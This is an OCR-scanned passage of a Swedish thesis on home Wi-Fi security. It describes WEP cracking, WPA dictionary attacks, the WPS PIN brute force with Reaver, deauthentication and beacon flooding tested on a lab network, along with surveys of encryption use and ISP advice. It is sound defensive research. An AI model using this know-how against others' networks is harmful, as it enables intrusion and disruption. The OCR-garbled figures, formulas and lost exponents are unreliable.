Fysisk Tillgdng till den |Tillgéng till den
Metod tillgéng till tradlosa routerns |tradldsa routerns
enheterna |webbgrénssnitt |PIN-kod
PBC X
PIN (Intern
. X
registrator)
PIN (Extern
. X
registrator)
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2.5.3.2 Felaktig design av registrationsprotokollet

Meddelande |Interaktion Innehall Kommentar
Ml Klientenhet — Registrator | Version | N1 || Description || PKE
" liontenhot — Recictateg | =507 | N1II N2 | Description | PK, [ Configata] | %ﬁfiiféﬂg
M, ientenhet «— Registrator J 7
HMAC, . O | M,)
M — . - Version | N2 || E-Hash1 || E-Hash2 ||
R tentenhet — Registrator INAC_%H‘JE}:NJ I M;}
Version | N1 || R-Hash1 || R-Hash2 || ENC RSty o
Jersion - - 2 R 0 5 ,
M, Klientenhet «— Registrator KeTaskey k?nnedom & _
| EMAC, . M, || M,) férsta delen av
7 PIN-koden
Version | N2 || ENC (E-S1) || pevisar
. . R ey Wrapkeys kannedom av
M, ey Wraphey n
- Klientenhet — Registrator HMAC, (M, | MY forsta delen av
o : PIN-koden
Version | NI |[ENC,_____ (R-S2)|| e
Jersion -52 - .
M . . KeyWrzpKey kinnedom av
s Klientenhet +— Registrator HMAC J‘]Jn-_'[@t(-_\"]:: I M;} andra delen av
T PIN-koden
Bevisar
kannedom av
Version | N2 || ENC,____ (E-S2[|| ConfigData ]) andra delen av
M, Klientenhet — Registrator HMAC " I \;IL‘.;‘EPK" I ” PIN-koden och
.a.un-le}-msll = skiickar
autentiserings-
uppgifter
Version | N1 ||[[ENC___ _ (ConfigData) ] ||
M i — i EeyWrspey
Klientenhet «+— Registrator ]'DTAC__ME}(_\T_ I ME.j

o[ 1]2]5 4[5J6|_ 7

e Kontrollsumma
delen av Andra delen av
PIN koden PIN-koden

Figur 15. Registrationsprotokollet innehallande information om var PIN-koden
verifieras.

Som Figur 15 visar kan en angripare, som tar rollen som registrator, fi fram information
om PIN-kodens korrekthet genom att granska svaren frdn accesspunkten. Om denne far
ett WPS-NACK efter att ha skickat M, vet denne att den forsta delen av PIN-koden
ar felaktig. Skulle angriparen fa ett WPS-NACK efter att ha skickat M vet denne att
andra halvan av PIN-koden é&r felaktig.

2.6 Utstorning av tradlosa hemnéitverk

Storningar kan vara ett stort problem for natverk d& de kan sdnka hastigheten alternativt
avbryta en anslutning. Tradlosa nétverk dr sérskilt utsatta eftersom de kommunicerar
over ett delat medium. Till exempel finns i 2.4 GHz spektrumet, forutom tradlosa
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natverk, bland annat mikrovagsugnar och bluetooth-enheter som kan péverka kvaliteten
pa kommunikationen i nétverket. Tradlosa enheter ar konstruerade med detta i atanke
och ska darfor vara feltoleranta. Trots detta kan Bluetooth-Overforingar som sker i
ndrheten av ett trddlost ndtverk kraftigt sdnka ndtverkets Overforingshastighet. Detta
eftersom Bluetooth-protokollet inte tar hdnsyn till 802.11 [23]. For att minska stérningar
kan andra spektrum, som till exempel 5 GHz spektrumet, anvéndas.

2.6.1 Avautentisering av anslutna enheter

Sandarens MAC-adress dr den enda information som kan ge validering av avsdndaren 1
avautentiseringsramen. Det presenteras en ny valideringsmetod i senaste specifikationen
av 802.11 [8, pp. 404-437], denna specifikation anvinds dock &nnu inte 1 stor
utstrackning. D4 ramen dessutom dr okrypterad kan en angripare generera till synes
giltiga avautentiseringsramar, dir accesspunkten stdr som avséndare och klienten som
mottagare. Om en angripare skickar denna ram till en klient som dr autentiserad till
natverket maste klienten autentiseras pa nytt innan anslutningen aterupptas.

En angripare kan begridnsa hur mycket data en klient ska kunna skicka genom att
regelbundet sdnda ut avautentiseringsramar. Angriparen kan &dven skicka
avautentiseringsramar varje gang klienten autentiseras for att kontinuerligt bryta
anslutningen. En studie fran ar 2003 visar hur en enskild angripare kraftigt begriansar
datatrafiken for fyra klienter 1 ett natverk [24].

Samma brist som ndmnts ovan finns dven 1 avassocieringsramen, vilket gor att en
angripare kan avassociera klienter. Nar en klient fir en avassocieringsram maste denne
associeras pa nytt for att kunna skicka och ta emot data.

2.6.2 Massutskick av beacon-ramar
Beacon-ramar underlittar for klientenheter att hitta nya nétverk. Accesspunkter kan
skicka ut sddana, vilka innehéller information om dess konfiguration. Klienter kan

anvinda dessa for att till exempel gora ett aktivt val om vilket ndtverk de vill ansluta
till.

Beacon-ramar saknar, precis som resten av administrationsramarna, verifiering. Som
Figur 16 visar kan en angripare dirfor sinda beacon-ramar for att simulera nitverk.
Klienterna uppfattar dessa som autentiska och kan déarfor forsoka ansluta till dessa. Ett
stort antal simulerade nitverk kan resultera i att anvindaren far svart att hitta ett
autentiskt nétverk att ansluta till.
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Hemrouter

. ] SSID - Hem
MAC - CB:02:EF:1A:C3:CE
Hemrouter
SSID - Hemniit

(\? D MAC - EF:A5:01:1E:31:E2

Klient

ﬁ

.
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SSID - FalsktNt
MAC - 11:22:33:44:55:66

SSID - InteRiktigt
MAC - 22:33:44:55:66:77

ﬁ

Angripare
SSID - FalsktNatverk
MAC - 33:44:55:66:77:88

Figur 16. Massutskick av beacon-ramar.

Figur 17 illustrerar en variant av attacken som kan utforas genom att skicka ut beacon-
ramar med samma konfiguration som ett autentiskt ndtverk. Ett ndtverk kan besta av
flera accesspunkter, och klienter efterstrivar att ansluta till en ldmplig accesspunkt. Ofta
ar den lampligaste accesspunkten den med, for klienten, starkast signalstyrka. Har
angriparen en stark séndare kan klientenheter dédrfér komma att forséka ansluta till de
simulerade accesspunkterna.

SSID - Hemnit Hemrouter
MAC - CB:02:EF:1A:C3:CE

L

Klient

S

SSID - Hemnit
MAC - 11:22:33:44:55:66

Sj)

SSID - Hemnit
MAC - 22:33:44:55:66:77

Anor]
SSID - Hemnit ngripare

MAC - 33:44:55:66:77:88

Figur 17. Massutskick av beacon-ramar mot existerande ndtverk.
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3 Metod

Pa grund av att sdkerhetslosningarna har olika brister gar det inte att testa samtliga med
en uniform testmetod. Dérfor testas och beskrivs dessa oberoende av varandra. Testerna
utfordes veckovis och innefattade attacker som kunde utféras med kostnadsfria och
lattillgédngliga verktyg som upplevdes vara de vanligaste. For att hitta dessa verktyg
inleddes varje testperiod med en mindre efterforskning. Denna efterforskning gick ut pa
att analysera resultat fran sokmotorer, diskussionsforum och artiklar. Utdver tester av
sdkerhetslosningar har tv8 undersdkningar genomfGrts. Den forsta av dessa
undersokningar innefattar att ta fram statistik Over 1 vilken utstrickning
sdkerhetslosningarna anvinds. Den andra undersokningen syftade till att fa fram
Internetleverantorers asikt gillande dagens sékerhet 1 de tradlosa hemnitverken.

Det trddlosa nidtverk som anvdndes vid testning illustreras 1 Figur 18.
Konfigurationsenheten anvédnds for konfiguration av tradlds hemrouter och router samt
for att skapa datatrafik pa nitverket. Klientenheten dr en tradlos enhet ansluten till
nitverket och utnyttjades vid attackerna. Router och switch simulerar hir en
Internetleverantor. Angriparen dr den dator som agerar angripare i var uppsittning.
Angreppen utfordes fran en barbar dator. Bade klientenhet och angripare anvinder det
Linux-baserade operativsystemet Ubuntu. Medan konfigurationsenheten anvinder
operativsystemet Windows XP.

((\(: /"‘/ . Klient

Switch Hemrouter

QN [

Angripare Konfigurationsenhet

Figur 18. Testndtverket.

Programpaketet Aircrack-ng version 1.1 [25] anvindes for att utfora ett flertal av
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attackerna. Storre delen av dessa attacker innefattar ett moment av avlyssning, och for
detta dndamal anvinds verktyget airmon-ng som kan forsétta trddlosa nétverkskort i
overvakningsldge. I detta ldge behalls alla de paket som ndtverkskortet kommer Gver
istéllet for att ignorera paket som inte 4r &mnade enheten. Léaget ger d&ven program storre
kontroll 6ver innehallet pa paketen som ska skickas.

Flera attacker kraver filer som innehaller paket som nétverkskortet har avlyssnat. Ett av
de program som kan utfora detta dr airodump-ng.

3.1 Siikerhetsprotokollet Wired Equivalent Privacy

Den forsta testperioden gick ut pa att undersoka de brister i WEP (Wired Equivalent
Privacy) som tidigare behandlats i avsnitt 2.3.2. Vért sokande efter kéinda verktyg som
kunde utnyttjas vid attacker resulterade 1 att programpaketet Aircrack-ng samt
programmet WepLab [26] anvindes.

3.1.1 Passiv statistisk attack

Malet med statistiska attacker ar att berdkna den krypteringsnyckel som anvédnds av en
klient utan att aktivt injicera paket. D4 denna attack dr passiv kan den inte upptickas av
en anvindare. Detta gor den till en utav de allvarligare attackerna mot WEP.

For att utfora denna attack forsattes ndtverkskortet 1 dvervakningsldge, med hjdlp av
verktyget airmon-ng. For att avlyssna och spara den trafik som gick mellan klient och
accesspunkt anvindes sedan programmet airodump-ng. For att generera trafik Over
nétverket overfordes en stor fil mellan var klient och konfigurationsenheten. Dérefter
anvandes aircrack-ng for att utifran den insamlade trafiken forsoka berdkna WEP-
l6senordet. Testen utfordes flera ganger och de fick fortga tills dess att resultat erholls.
Infor varje test genererades ett nytt losenord. For en utforligare beskrivning av de
kommandon som anvinds, se Appendix I.1.

3.1.2 Statistisk attack med Aterspelning

Malet med aterspelningen var att injicera paket i vart testndtverk for att generera trafik,
vilket skulle pdskynda den statistiska attacken. For att genomfora &terspelningen
forsattes angriparens nétverkskort i Overvakningslige, med programmet airmon-ng.
Direfter kordes programmet airodump-ng for att spara nétverkstrafiken. Med hjélp av
aireplay-ng avlyssnades trafiken mellan klient och accesspunkt tills ett ARP-paket
fdngades for att sedan dterspela detta. Eftersom enheter ska besvara ARP-forfragningar
kan mer trafik genereras, se Appendix I.1.1 for beskrivning. Aircrack-ng kan anvéndas
pa uppsamlad data for att fa fram 16senordet.

3.1.3 Forcering

Mialet med denna attack ar att forcera fram WEP-16senordet utifran nagra fa paket. For
att denna attack ska vara mojlig maste forst trafik frén natverket sparas. Detta kan goras
med hjilp av verktyget airodump-ng efter att nitverkskortet forsatts 1 Overvakningsldge
med programmet airmon-ng. WepLab ar det verktyg som sedan anvénds for att forsoka
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forcera fram WEP-I6senordet, for kommandon se Appendix 1.1.2.

3.2 Wi-Fi Protected Access
En forceringsattack utfordes mot sékerhetsprotokollen WPA och WPA2 {or att erhélla
det trddlosa nétverkets 16senord.

3.2.1 Forcering med hjilp av ordlista

Det finns programpaket, si som Aircrack-ng, vilka har medfdljande ordlistor. Aven
program for att generera egna finnes. Dock hdmtades tva relativt stora ordlistor fran
Internet. Detta gjordes dels for att spara tid och dels for det stora antalet ord dessa
inneholl.

Programmet aireplay-ng anvédndes fOr att avautentisera testndtverkets enda klientenhet.
Detta ledde till att klientenheten anslots pd nytt vilket initierar en ny
fyrviagshandskakning, vilken kunde avlyssnas med airodump-ng. Programmet aircrack-
ng anvindes sedan for att generera MIC-virden fran ord ur en ordlista, vilka jaimfordes
med de MIC-viarden som fanns i den avlyssnade fyrvigshandskakningen. Om dessa
MIC-virden stammer Overens har angriparen anvént sig av det rétta ordet, vilket
motsvarar nitverkets l16senord. En beskrivning av hur verktygen anvindes nér attacken
utfordes finns i Appendix 1.2.

3.3 Siikerhetslosningen Wi-Fi Protected Setup

Det finns program som utnyttjar svagheterna som nimndes i avsnitt 2.5.3. Programmet
Reaver version 1.4 [27] valdes da det ar lattillgdngligt och vélként. Genomsnittstiden
for ett angrepp dr 4 - 10 timmar [27] beroende pd bland annat den tradldsa routerns
prestanda, storningar och signalstyrka. WPA2-l6senordet som anvindes vid testningen
var . $flc=-0"-N5*["2(#=~B, vilket innehéller 23 tecken varav 3 stycken siffror, 2
stycken versaler, 2 stycken gemener och 16 st specialtecken. Ett 16senord av denna typ
har cirka 3,07x10" olika kombinationer. Riknar man med att angriparen har tillging
till stora resurser och kan utfora 250 000 16senordstest 1 sekunden skulle det kunna ta
upp till cirka 3,42x10% timmar att fd fram l6senordet. For att ge lite perspektiv sa
motsvarar timmarna cirka 3,90x 10" areller 2,8x10” génger universums lder.

Ett verktyg som é&r inkluderat i Reaver ar wash. Detta verktyg avlyssnar den tradlosa
trafiken och samlar in beacon-ramar. Dé dessa anvénds for att sprida information kan en
angripare fa fram om den tradlosa routern har stod for WPS och 1 sa fall vilken version
av specifikationen den har implementerad. Dérefter visar verktyget en lista med de
routrar som har stod for WPS version 1.0h. I version 2.0.2 har ett antal
sakerhetsdtgirder inforts som forhindrar den attack som presenterats i arbetet, verktyget
visar darfor inte routrar med denna version av WPS. Fakta om dessa sidkerhetsétgarder
presenteras i avsnitt 2.5.2.3.

Nér potentiella mal hittades med wash inleddes en forceringsattack med Reaver. 1 Figur
19 beskrivs hur denna attack genomfors utifran registrationsprotokollet.
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Steg |Meddelande |Interaktion Innehall Kommentar
1 Accesspunkt — Angripare Beacon
2 Accesspunkt +— Angripare Probe-forfragan
3 A ccesspunkt — Angripare Probe-svar
Accesspunkt «— Angripare EAPOL-Start EAP-initiering
Accesspunkt — Angripare EAP-Request/Identity f:ll;gn et
4 WEA-
Accesspunkt +— Angripare EAP-Respons/Identity SimpleConfig-
Registrar-1-0
5 Ml Accesspunkt — Angripare | Version || N1 || Description || PKE
— . . - Diffie-Hellman
6 M. Accesspunkt — Angripare Version || N1 || N2 || Description || PK [ || ConfigData] || (Nyckelutbyte)
: HMAC,,... M, || M)
B M o S Version || N2 || E-Hashl || E-Hash2 |
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Figur 19. Registrationsprotokollet mellan en angripare (extern registrator) och en

accesspunkt (klientenhet).
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Forceringsattacken gar till pa foljande sétt:

1.

2.

Accesspunkten skickar ut en beacon-ram som inkluderar ett informationselement
som indikerar att den stodjer WPS.

En angripare agerar extern registrator och skickar en probe-forfragan som
innehaller information om att den kan agera registrator.

. Accesspunkten skickar ett probe-svar till angriparen som innehaller information

om att den dr en accesspunkt.

Angriparen startar en 802.1X-anslutning med identifikationen WFA-
SimpleConfig-Registrar-1-0.

Accesspunkten genererar ett nonce, N/, och skickar detta tillsammans med en
beskrivning av enheten och dess publika Diffie-Hellman-nyckel till angriparen.

. Angriparen genererar ett eget nonce N2 och skickar detta till accesspunkten

tillsammans med N/, beskrivning av registratorn, sin egna publika Diffie-
Hellman-nyckel och en verifikation som bestir av HMAC baserat pa det forra
och nuvarande meddelandet.

. Accesspunkten genererar tvd 128 bitar ldnga hemliga nonce, E—SI och

E—S2. Darefter berdaknar den:

E—Hashl =HMAC ,,,...( E —SI||PSKI||PK ;|| PK ;)
E—Hash2=HMAC ;.. E—S2||PSK2|| PK || PK ;)
PSK1=de forsta 128 bitarna av HMAC ,, Ke}( forsta delenav dess PIN —kod)
PSK2 =de forsta128 bitarna av HMAC ,,,, Key( andra delenav dess PIN —kod)

Sedan skickas dessa till angriparen tillsammans med N2 och en ny
verifikation.

. Angriparen genererar tva 128 bitar ldnga hemliga nonce, R—S/ och R—S2.

I detta steg gissar denne accesspunktens PIN-kod, det vill sdga slumpar fram ett
atta siffror langt tal. Ddrefter berdknar den:

e

R—Hashl =HMAC ;.\ R—=S1|| PSK1|| PK ;| PK ;)
R—Hash2=HMAC ,,,..( R=S2||PSK2 || PK .|| PK ;)

Sedan skickas dessa till accesspunkten tillsammans med NI/, en ny
verifikation och R—S7 krypterad. R—S/ skickas med for att accesspunkten
ska kunna verifiera att registratorn (angriparen) kénner till forsta delen av PIN-
koden.

. Accesspunkten kontrollerar om den har samma virde pd forsta delen av PIN-

koden som registratorn. Skulle det inte vara fallet skickar den en WPS-NACK
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till angriparen och avslutar registrationsprotokollet. Angriparen bdrjar da om
protokollet. Nar angriparen vél lyckas gissa rdtt pd forsta delen skickar
accesspunkten E—S/ krypterad tillsammans med N2 och en ny verifikation.
Detta for att registratorn ska kunna kontrollera att accesspunkten kénner till
forsta delen av PIN-koden.

10.Angriparen skickar R—S2 krypterad tillsammans med NI och en ny
verifikation.

11.Accesspunkten kontrollerar om den har samma virde pé andra delen av PIN-
koden som registratorn. Skulle det inte vara fallet skickar den en WPS-NACK
till angriparen och avslutar registrationsprotokollet. Angriparen borjar d& om
protokollet. Notera att angriparen vid det hir laget dr séker pa att ha hittat forsta
delen av PIN-koden sa bara andra delen av koden behover slumpas vid nésta
korning. Nér angriparen lyckas gissa rétt pa andra delen skickar accesspunkten

N2, en ny verifikation och E—S2 krypterat tillsammans med

konfigurationsdata (bland annat nétverkslosenordet). Detta for att registratorn
ska kunna kontrollera att accesspunkten kdnner till andra delen av PIN-koden.

12.Angriparen skickar M, som kan innehdlla nya instdllningar for det tradlsa
ndtverket specificerade av registratorn.

13.Accesspunkten skickar EAP-Done.

14.Angriparen svarar med ett EAP-ACK.

15.Accesspunkten avslutar med EAP-Failure f{or att indikera slutet pa
registrationsprotokollet.

I Figur 20 visas ett flodesschema 6ver hur attacken genomfors ur angriparens synvinkel.
For specifika kommandon och exempel, se Appendix 1.3.
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och dérav
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Figur 20. Flodesschemat visar en forceringsattack mot WPS.

Angriparen har nu tillgng till PIN-koden. For det forsta kridvs ingen autentisering for
att ansluta en extern registrator utan endast accesspunktens PIN-kod, vilket gor
forceringsattacken genomforbar. Dessutom vet man att PIN-koden endast bestar av atta
siffror. For det andra ar det inte kryptografiskt sékert att autentisera kdinnedom av PIN-
koden genom att verifiera dess delar oberoende av varandra da det drastiskt minskar det
maximala antalet forsok som krivs vid en forceringsattack fran 10°=100000 000 till

10*+10*=20000 , och di den attonde (sista) siffran i PIN-koden alltid &r en
kontrollsumma som baseras pd Ovriga sju siffror behdvs det maximalt

10*+10°=11000 forsokt for att ta reda pd PIN-koden. I genomsnitt behdvs alltsa

endast % =5500 PIN-koder testas for att fa fram ett WPA/WPA2-10senord.

3.4 Utstorning av tradlosa hemnétverk

Olika metoder har testats for att stora klientenheten 1 vart testndtverk. Programmen som
anvindes var aireplay-ng och storningsverktyget mdk3 [28]. De tester som utfordes
testade avautentisering och massutskick av beacon-ramar.
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3.4.1 Avautentiseringsattacker
Vart mél var att testa om en utomstdende angripare kan avautentisera en klient frén ett
hemnétverk genom att generera avautentiseringsramar. Figur 21 beskriver detta forlopp.

Klient Angripare Accesspunkt

[
Autentisering
\
I
I
Autentisering
I
1
I

. .

Assoc[lermg
T
Assoéiering
|
I

Avauter%tisering
i

l. .
Avautentisering

T

1

L. .
Avautentisering

|
4-/Avautentisering
.

|

|
|

|

‘)misermg/
|
|
|

Figur 21. Visar flodesforlopp for avautentisering.

Efter att ha forsatt natverkskortet 1 dvervakningsldge med hjélp av airmon-ng anvindes
verktyget Wireshark [29] for att se vilka ramar som skickades. En enhet som inte var
ansluten till ndtverket anvindes for att 6vervaka flodet av meddelanden.

For att genomfOra attacken maste angriparen forst fi tag pad klientenhetens och den
traddlosa routerns MAC-adresser. For att hitta dessa anvéindes verktyget airodump-ng
efter att ndtverkskortet forsatts i dvervakningslége.

Sedan anvéndes programmet aireplay-ng, for utforlig beskrivning se Appendix 1.4.1.
Detta skickar kontinuerligt ut avautentiseringsramar med accesspunktens MAC-adress
som avsédndare till klientenheten, samtidigt som avautentiseringsramar med klientens
MAC-adress som avsindare skickas till accesspunkten.
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3.4.2 Massutskick av beacon-ramar

Ett test utfordes som gick ut pé att forsvara anslutningsprocessen for en anvéndare.
Detta genom att fylla klientenhetens nétverkslista med simulerade nitverk. Anvdndaren
far d svart att hitta ett autentiskt ndtverk bland de simulerade.

Nitverkslistan pa enheten Overvakades for att se om de genererade beacon-ramarna
listades pd samma sétt som autentiska nitverk.

Testet inleddes med att forsitta ett ndtverkskort i Gvervakningsldge. For att gora detta
anviandes verktyget airmon-ng. Dérefter genererades ett antal beacon-ramar med
varierande SSID och MAC-adresser, med hjélp av mdk3, for att se om klientens lista
med nétverk blev sd pass fylld att det blir svart att hitta ett autentiskt nitverk att ansluta
till. For de kommandon som anvindes vid testet, se Appendix 1.4.2.

Det genomfordes dven en variation av attacken. Istéllet for att skicka ut beacon-ramar
med olika SSID anvidndes samma SSID och krypteringstyp som ett autentiskt natverk,
dock anvidndes varierande MAC-adresser. Sedan fOrsokte en anslutning till det
autentiska nétverket uppréttas for att se vilken accesspunkt klientenheten valde. For
kommandon se Appendix 1.4.2.

3.5 Undersokning

For att fi fram ett underlag Over vilka typer av sdkerhetslosningar som anvénds i
Sverige genomfordes en undersdkning, vilken bestod av tva delar. Den forsta delen gick
ut pa att ta fram information 6ver vilken typ av sidkerhetslosning som anvénds 1 de
tradlosa hemnétverken, den andra delen gick ut pa att ta reda pa vilken typ av
sdkerhetsinstdllningar ~ Internetleverantorerna ~ rekommenderar  sina  kunder.
Undersokningen genomfordes for att se hur skyddad den gemene anvéndaren ar.

3.5.1 Nuvarande anviandning av sikerhetslosningar

Eftersom ingen tillrackligt aktuell statistik gick att finna anvindes verktyget WiGLE
[30] for att samla in egen data. Programmet samlar in och sparar data om bland annat
vilken sékerhetslosning, SSID och MAC-adress accesspunkten anvinder.

Data samlades in i Goteborg eftersom staden enligt oss dr representativ for Sverige.
Detta eftersom ménga av Internetleverantérerna levererar till hela landet och erbjuder
sina kunder installationshjélp och hemroutrar.

3.5.2 Leverantorers riktlinjer

Den andra delen av unders6kningen fokuserade pa att ta reda pa vad
Internetleverantorerna rekommenderade for sidkerhetslosningar. Vi tror att ménga
hemanvindare foljer Internetleverantorernas installationsinstruktioner. Darfor kommer
leverantorernas kunskap formodligen styra vilka sdkerhetslosningar som anvénds.
Undersokningens fokus ldg pa fem stora Internetleverantorer for att ticka in en stor del
av befolkningen. Fyra metoder anvindes fOor att samla in data. Leverantdrerna
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kontaktades via telefon och e-post dir vi utgav oss behova hjidlp med installationen av
en hemrouter. Dessutom har information eftersokts pa leverantorernas hemsidor och via
kontakt med deras pressavdelningar. I undersékningen holls foretagen anonyma for att
undvika jamforelse av dessa.

Foljande information eftersoktes i samtliga metoder:
» Vilket sidkerhetsprotokoll ska anvdndas pa hemroutern?
* Spelar det nagon roll om man véljer WPA eller WEP?
* Finns det ndgon nackdel med att anvdnda WPS?

3.5.2.1 Telefonundersdkningen

For att fa en representativ bild av de svar en anvindare far vid kontakt med en
leverantor gjordes tre samtal till varje kundtjdnst. Kundtjdnsten kontaktades vid olika
tidpunkter for att undvika att en anstilld blir representant for hela foretaget.

3.5.2.2 E-post till kundtjanst

For att fa fram ytterligare svar och storre bredd pa undersokningen togs det ett beslut
om att skicka e-post till kundtjdnsten. Fragorna var formulerade pad samma sétt som vid
samtalen. Undersokningen syftade till att se om svaren varierade nir dessa inte behdvde
ges direkt, som pa telefon.

3.5.2.3 E-post till pressavdelning

For att ge samtliga leverantorer en chans att formedla deras officiella asikt kring
sikerhetslosningarna  skickades e-post till pressavdelningen déir syftet med
undersokningen presenterades. Detta for att se om de officiella svaren skiljer sig frdn
kundtjdnsternas svar.

3.5.2.4 Information frén officiell hemsida

Information samlades dven in fran leverantorers hemsidor genom att kolla pa sidor som
kunde nas fran menyn eller via sokféltet. Manualer for separata produkter studerades
inte da dessa kan vara inaktuella samt &r produktspecifika.
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4 Resultat

Da separata testmetoder anviandes for de olika sékerhetslosningarna presenteras
resultatet i olika avsnitt.

4.1 Sékerhetsprotokollet Wired Equivalent Privacy
4.1.1 Passiv statistisk attack

Tabell 2. Resultat frdn den passiva attacken mot WEP.

Test |Tid i sekunder |Unika Initialiseringsvektorer |Nyckelberdkningsresultat
1 689 26 693 Hittade

2 2104 104 224 Hittade

3 508 66 195 Hittade

4 770 15 404 Hittade

5 1362 85 813 Hittade

6 2716 1712 445 Misslyckades

Resultatet kommer fran tester dédr avlyssning péagatt olika lang tid, dar 7id i sekunder
representerar hur linge avlyssningen pagatt.

4.1.2 Statistisk attack med aterspelning

Tabell 3. Resultat frdn den aktiva attacken mot WEP. I samtliga tester kunde losenordet
beriiknas.

Test |Tid 1 sekunder |Unika Initialiseringsvektorer
1 89 49 244
2 13 11 636
3 15 20 893
4 9 19 186
5 7 13135
6 14 26 694
7 7 17 391
8 5 9 147
9 4 8 950

Resultatet kommer fran tester dér avlyssning pégatt olika lang tid, dir 7id i sekunder
representerar hur ldnge avlyssningen pagatt.

4.1.3 Forcering
Med testdatorn provades strax over 4,4x10° nycklar per sekund. Vilket ger att
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samtliga nycklar pa 40 bitar kan testas pa mindre dn tre dygn. Medan att testa samtliga
nycklar pa 104 bitar tar 6ver 1,4x10' ar.

4.2 Forcering med ordlista mot Wi-Fi Protected Access

Testdatorn kunde med hjilp av aircrack-ng testa drygt 1 500 stycken nycklar per
sekund. De tva ordlistor som anvédndes innehdll 2 151 236 stycken ord respektive drygt
4 000 000 ord. Med en hastighet av 1 500 nycklar per sekund tog det cirka 1 400
sekunder att g& igenom ordlistan passwords.txt och cirka 2 700 sekunder att gd igenom
ordlistan all.lst.

Tabell 4. Resultatet fran genomforda tester mot séiikerheten i WPA och WPA2.

Test Anv?ind Antgl ordi |Maximal tidsatgang i
ordlista ordlistan sekunder

1 passwords.txt | 2 151 236 ~1 400

2 all.Ist ~4 000 000 ~2 700

4.3 Forceringsattack mot Wi-Fi Protected Setup
I Tabell 5 presenteras resultatet fran véra olika tester med Reaver. Notera att det endast
tog Reaver 7,6 timmar att fa fram losenordet 1 7est 2.

Tabell 5. Resultatet frdan genomforda tester mot scdkerheten i WPS med Reaver.

Test Sekunder |Forsok per Maximal attacktid 1 Maxim.al' Timmar tills .
per forsok [sekund  [timmar attacktid i dagar [l6senord aterfunnits

1 6 0,17 18,33 0,76 8,3

2 3 0,33 9,17 0,38 7,6

3 36 0,03 110 4,58 -

4 6 0,04 79,44 3,31 -

I Test 1 hade den trddlosa hemroutern ingen lasningsfunktion. Smé Diffie-Hellman-
nycklar anvindes i1 Test 2, for att den trddlosa hemroutern skulle kunna gora
berdkningarna snabbare. Under 7est 3 var signalstyrkan lag. I Test 4 anvdndes en annan
tradlos hemrouter vilken hade en lasningsfunktion implementerad. Denna gjorde att
routern laste sig i 60 sekunder efter tre felaktiga forsok.

4.4 Utstorning av tradlosa hemnétverk

4.4.1 Avautentiseringsattacker

I véra tester blev klienten gang pa gang avautentiserad och forsokte sedan autentisera
sig till den tradlosa hemroutern pa nytt. Under tiden attacken pagick lyckades
klientenheten inte skicka ivdg négra dataramar. Efter cirka 20 sekunder fick anvéndaren
ett meddelande att den tappat anslutningen. Nér attacken var avslutad lyckades klienten
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aterigen ansluta till ndtverket.

4.4.2 Massutskick av beacon-ramar

Klientenhetens nitverkslista fylldes med de simulerade nitverk som genererades. Overst
1 natverkslistan visades de nitverk som klienten tidigare varit ansluten till. Detta gjorde
att attacken var verkningslés om klienten nigon géng wvarit ansluten. Méngden
simulerade nétverk i listan gjorde det svért att hitta nagra av de autentiska nitverk som
anvindaren inte forut besokt. For skdrmbild se Bilaga I.

I testet dir beacon-ramar skickades ut med samma SSID och krypteringstyp som ett
autentiskt nétverk registrerade klienten de falska accesspunkterna som en del av det
existerande nétverket. Nir klienten skulle ansluta valde denne att forsoka upprétta
kommunikation till accesspunkten med for klienten starkast signal.

4.5 Undersokning
4.5.1 Nuvarande anviandning av sikerhetslosningar
Hiar presenteras de resultat som framkom av vér undersdkning diar det samlats in

information om ndtverk gillande krypteringstyp 1 vart ndromrade.

Tabell 6. Resultat av undersékning.

Protokoll Antal Antal Antal med WPS |Antal med WPS
(styck)  |(procent) |(styck) (procent)

WEP 321 3,69 45 0,52

WPA 1 605 18,45 199 2,29

WPA2 3404 39,13 1489 17,11

WPA/WPA2 | 2490 | 28,62 959 11,02

(kombinerat lége)

Okrypterade 880 10,11 0 0

Totalt 8700 100 2 692 30,94

4.5.2 Internetleverantorers riktlinjer
De fragor som stilldes var:
Fraga 1: Vilket sdkerhetsprotokoll ska anvdndas pa hemroutern?
Fréaga 2: Spelar det ndgon roll om man véljer WPA eller WEP?
Fraga 3: Finns det ndgon nackdel med att anvinda WPS?
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4.5.2.1 Telefonundersdkningen

Tabell 7. Resultat fran samtal till kundtjdnst.

Foretag Fraga 1 Fraga 2 Fraga 3
1 WPA Ja Ja
1 WPA Nej Nej
1 WPA Ja Nej
) Beror pé klient | Beror pa klient Ta
OS (ON}
) WPA Beror gg klient Nej
2 - - -
3 Beror pa klient | Beror pa klient i
OS (0N}
3 WPA Ja Ja
3 WPA Nej Nej
4 Beror 8&; klient Nej Nej
4 Beror pa router - -
4 WPA Ja -
5 WPA Beror ([))eg klient Nej
5 WEP Nej Nej
5 WPA Ja Nej

De flesta rekommenderade WPA. Dock rekommenderade WEP i ett fall. Flera foretag
gav besked om att det var operativsystemet som avgjorde valet av sékerhetslosning. De
flesta foretagen upplevdes sakna kunskap om WPS.
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4.5.2.2 E-post till kundtjanst

Tabell 8. Resultatet av e-postundersékningen.

Foretag Fraga 1 Fraga 2 Fraga 3

1 WPA Nej -
1 - - -
2 WPA Ja -
2 WPA Nej -
3 WPA Ja -
3 WPA Ja -
4 WPA Ja -
4 WPA Ja -
5 WPA Ja Nej
5 WPA Ja -

De flesta rekommenderade WPA.. I tva utav svaren hdvdades att det inte spelade nagon
roll vilken sékerhetslosning som anvinds. De flesta foretagen svarade inte pa fragan om
det fanns nigra nackdelar med WPS.

4.5.2.3 E-post till pressavdelning

Ingen av de tillfrdgade foretagen valde att stilla upp. Darfor baseras foretagens asikter
helt pa tillgdnglig information.
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4.5.2.4 Information fran officiell hemsida

Tabell 9. Resultat fran undersokningen av foretagens hemsidor.

Foretag Fraga 1 Fraga 2 Fraga 3

1 WPA Ja Ja
2 WEP/WPA Nej -
3 WPA Ja -
4 WPA - -
5 - - -

De flesta av foretagens hemsidor rekommenderade WPA, dven om det ofta inte var latt
att hitta. Foretagen rekommenderar inte WEP, didremot avrdder de inte alltid fran

anvindning av det.
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5 Diskussion

Da sédkerhetslosningarna skiljer sig 4t markant valdes dessa att diskuteras var for sig. Vi
har under var undersdkning sett att alla testade sdkerhetslosningarna har brister av
varierande grad.

5.1 Sidkerhetsprotokollet Wired Equivalent Privacy

De brister som ndmnts om WEP, se avsnitt 2.3.2 samt [31] och [32], 4r sa pass allvarliga
att WEP bor undvikas. Bristerna mojliggor att krypteringsnyckeln kan berdknas, se
Tabell 2 och Tabell 3, med endast nagra tusen unika initialiseringsvektorer. Angripare
har dven mojlighet att paskynda antalet paket som gir 6ver nidtverket genom att aktivt
